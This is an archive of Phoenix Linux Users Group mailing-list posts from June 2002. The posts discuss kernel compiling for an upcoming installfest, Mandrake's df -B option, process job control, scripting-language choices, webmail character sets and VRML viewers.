<20020613174452.35996.qmail@web10608.mail.yahoo.com> Hello Linux Users - I was wondering if anyone cared to give demonstrations on the proper way of compiling a Linux Kernel during the installfest (I'm looking forward to it btw). I'm starting get a 'feel' for Linux, and I've read HOW_TO's and various articles on compiling, but they're all different. I've downloaded articles from ZDNET and techrepublic as well. These articles say different things which would confuse a Linux beginner. My thinking is that some people that will show up at the intallfest are Linux 'newbies' and would jump at a chance to watch Linux users who have been doing this a while demonstrate some Linux skills. Besides Kernal compiling and basic bash commands, what else should a Linux user know? Thanks in advance -Alpha ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 10:44:33 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: On Thu, 13 Jun 2002, Robert Bushman wrote: > partial answer to number 1. > > Stop Process #488 > kill -SIGSTOP 488 Aha, "man 7 signal" gave me the clue to the remainder of the problem -- since I'm not necessarily the process owner (I might be 'root' on some totally other terminal) the following works: # kill -SIGSTOP 488 stops the process. If attached to a user on a terminal, will see a "stopped" message. # kill -SIGCONT 488 restarts the process. Strangely, if user types "jobs" the list will show the process as being stopped even though it is actually running. Thanks! \\/ p.s. why do the manpages say, "See signal(7)" but you have to type "man 7 signal" instead of "man signal(7)" like you'd expect? Pet peeve. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 10:59:26 -0700 Subject: a df option question Message-ID: <15624.56702.739725.690008@bela.interhack.net> I have a couple of students using Mandrake on laptops who reported to me that df -B MB is a valid option for df on their system. They even supply output showing what it does. I've never heard of such an option in any version of Unix I've ever used. Mandrake is based on Red Hat, which uses the GNU tools for all the most standard utilities, right? Does anyone know anything about this? I'd love to see a df(1) man page off a Mandrake system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:30:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:30:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net>; from lynn.newton@cox.net on Thu, Jun 13, 2002 at 10:59:26AM -0700 References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <20020613113016.A2210@nadesico> On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:35:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 11:35:44 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <0206131135441H.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From a man df | more on my M8.0 system: DF(1) FSF DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis­ plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info GNU fileutils 4.0p March 2001 1 DF(1) FSF DF(1) (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright © 1999 Free Software Foundation, Inc. This is free software; see the source for copying condi­ tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. GNU fileutils 4.0p March 2001 2 On Thursday 13 June 2002 10:59, you wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ MxUCeon0WFV3/XhcIozPbBZI =mVT7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 11:36:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <200206131136.16724.zen2now@qwest.net> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: df -b MB df: invalid option -- b Try `df --help' for more information what version of mdk are they running? slr On Thursday 13 June 2002 10:59 am, Lynn David Newton wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:39:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:39:13 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:43:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:43:49 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 14:47:12 -0400 Subject: Suggestions? Message-ID: <20020613184712.WXGS3893.lakemtao05.cox.net@smtp.central.cox.net> I'm going to say Ruby just because someone else said python. But really since you already seem to be comfortable with php why not just use php to do it? Carl P. ============================================================ From: Greg Date: 2002/06/13 Thu PM 12:16:35 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Suggestions? As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:51:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 11:51:56 -0700 (MST) Subject: a df option question In-Reply-To: <20020613113016.A2210@nadesico> Message-ID: Mandrake 7.2 at least doesn't recognize a -B option to df. There is a -m option to show in megabytes, though. Mandrake 8.2 has a -m option which is just a shortcut to --block_size= ...but "-m MB" shows the list in "977K blocks" (1,000,000 blocks is about 977 * 1024) unlike -m which lists "1M blocks" (1024 * 1024 blocks). Here are the brief help pages from 7.2 and 8.2 Mandrake. \\/ http://www.wlindley.com =============== Mandrake 7.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit Report bugs to . =============== Mandrake 8.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Thu, 13 Jun 2002 18:53:36 +0000 Subject: install fest suggestion Message-ID: <20020613185336.4B4276DA21@www.fastmail.fm> I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Thu, 13 Jun 2002 11:57:33 -0700 (MST) Subject: install fest suggestion In-Reply-To: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: Well, here's a real simple way to compile your kernel. Untar the new kernel sources in /usr/local/src/ then as root do: cd /usr/local/src/linux && make menuconfig && make dep && make clean && make modules && make modules_install (that is all one command on one line - it wraps in email) That will configure, compile, and install the new kernel as /vmlinuz. It will also automatically backup your old kernel as /vmlinuz.old. You just need to make sure your LILO config is pointing to /vmlinuz for the kernel and you're all done. Once you've configured LILO, all you ever need to do is the above command and everything else happens automagically. (Disclaimer: If this blows up your dog, sours your milk, or any thing else, it's not my fault. :) I've been using this method since 1996 and it has never failed me yet. However, your mileage may vary.) ~Jay On Thu, 13 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:07:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 12:07:33 -0700 Subject: a df option question In-Reply-To: <200206131136.16724.zen2now@qwest.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> Message-ID: <15624.60789.387418.334915@bela.interhack.net> No more responses necessary. See below. slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: slr> df -b MB slr> df: invalid option -- b That was an upper case -B. Someone sent me a copy of a df man page, said to be from Mandrake 8.2, that does indeed document -B MB as being valid. The relevant part of the man page says: -B, --block-size=SIZE use SIZE-byte blocks ... SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. Interesting. And certainly unportable. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:26:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 13 Jun 2002 12:26:00 -0700 Subject: a df option question In-Reply-To: References: Message-ID: <1023996367.18413.30.camel@desktop.capnet.lan> --=-aeicTWDtRM36H92KsdOB Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Thu, 2002-06-13 at 11:43, alandd@mindspring.com wrote: > On my Red Hat 7.3 box, df doesn't have a -B=20 > option. df --version gives:=20 Mandrake 8.2 reveals: DF(1) User Commands DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis=AD plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=3DSIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=3D1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=3DTYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=3DTYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright =A9 2001 Free Software Foundation, Inc. This is free software; see the source for copying condi=AD tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. df (fileutils) 4.1.5 December 2001 DF(1) Thanks, to Lynn for the tip on how to clean up the output I captured. With Linux I learn something new every day, usually every hour... :) Cap --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-aeicTWDtRM36H92KsdOB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9CPHI6He1yLs+JHwRAgC4AKCcfEnQGWH53vE+N2WXYrzxQB/1OwCgugJd 1z/PFyrg05L104T32n1UOaQ= =Yty+ -----END PGP SIGNATURE----- --=-aeicTWDtRM36H92KsdOB-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 13 Jun 2002 12:33:27 -0700 Subject: Suggestions? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4A0@mail.int.fh.org> Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:53:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 15:53:47 -0400 Subject: Suggestions? Message-ID: <20020613195347.ZMRX4796.lakemtao08.cox.net@smtp.central.cox.net> No clue Tom, Right now I'm using Cox's sucky Webmail too. And I haven't found a way to change Char set or even see what it is. If anyone knows how I'd be happy to change it. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/13 Thu PM 03:33:27 EDT To: "'plug-discuss@lists.plug.phoenix.az.us'" Subject: RE: Re: Suggestions? Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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What character set are you using? > > -----Original Message----- > From: Carl Parrish [mailto:cparrish@cox.net] > Sent: Thursday, June 13, 2002 11:47 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Re: Suggestions? > > > This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:37:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:37:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Just the place to get whatever bits of hardware you need to build that > spare system for the InstallFest on the 22nd -- > > Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ > > http://azweb.com/troop446/ > Sponsored by Boy Scout Troop 446 We should point this out on the InstallFest pages through the weekend. "Need hardware? See the Boy Scouts..." type of thing. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:43:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 13:43:24 -0700 Subject: install fest suggestion In-Reply-To: ; from jay@kinetic.org on Thu, Jun 13, 2002 at 11:57:33AM -0700 References: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: <20020613134324.A24216@nadesico> On Thu, Jun 13, 2002 at 11:57:33AM -0700, Jay wrote: > > > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. > > (Disclaimer: If this blows up your dog, sours your milk, or any thing > else, it's not my fault. :) I've been using this method since 1996 and it > has never failed me yet. However, your mileage may vary.) > > ~Jay Good documentation on how the Linux Kernel build system is available in /usr/src/linux/README. Also, /usr/src/linux/Documentation is your friend when you're looking for any info regarding the kernel. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:53:31 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted As Thomas already said, use control-z to suspend the active program. This is a bourne shell feature and works for bourne shell derivatives such as bash and ksh. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) Look at screen for character based apps. emacs has a way to attach to another emacs session similar to vnc. I think you have to actually close the local window before you can open it remotely, though. Time for the emacs people to pipe up :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:00:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 14:00:03 -0700 (MST) Subject: VRML question In-Reply-To: <3D08C9D7.B0E6A0EC@leml.asu.edu> Message-ID: Am 13. Jun, 2002 schwätzte John (EBo) David so: > I'm playing with some PD software that dumps stuff out in VRML. > > Can people make suggestions on VRML viewers/brousers? Is there a > konquerer or Netscape plugin? I haven't written any VRML in years, so haven't tried these. freewrl - vrml browser and netscape plugin openvrml-lookat - VRML X11 viewer vrweb - A VRML browser and editor. vrwave - VRML 2.0 java-based browser ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 13 Jun 2002 14:11:31 -0700 Subject: install fest suggestion In-Reply-To: <20020613185336.4B4276DA21@www.fastmail.fm> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Something I wish I had when I was beginning (and still do for that matter) is a quick-reference of shell commands. Granted, this isn't something the "average computer user" might want, but I think an "average Linux user" would find this very helpful. This could even be something printable from the website. I think it should contain the basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, etc..., I'm sure there are some I'm leaving out in my own inexperience), a list of customizable files (bash prompts & profiles, fstab, etc) and possibly (no religious wars here) a quick startup guide to a text-editor. I personally just figured out how to save and exit vi, and don't ask me to quit without saving. This may be over the head of some users as I an a Linux newbie, but not technically inexperienced. Anywhoo, it's something I wish I had. "I've had a wonderful time, but this wasn't it." -- Groucho Marx matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.PLUG.phoenix.az.us [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of Robert A. Klahn Sent: Thursday, June 13, 2002 11:54 AM To: plug-discuss@lists.PLUG.phoenix.az.us Subject: Re: install fest suggestion I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > 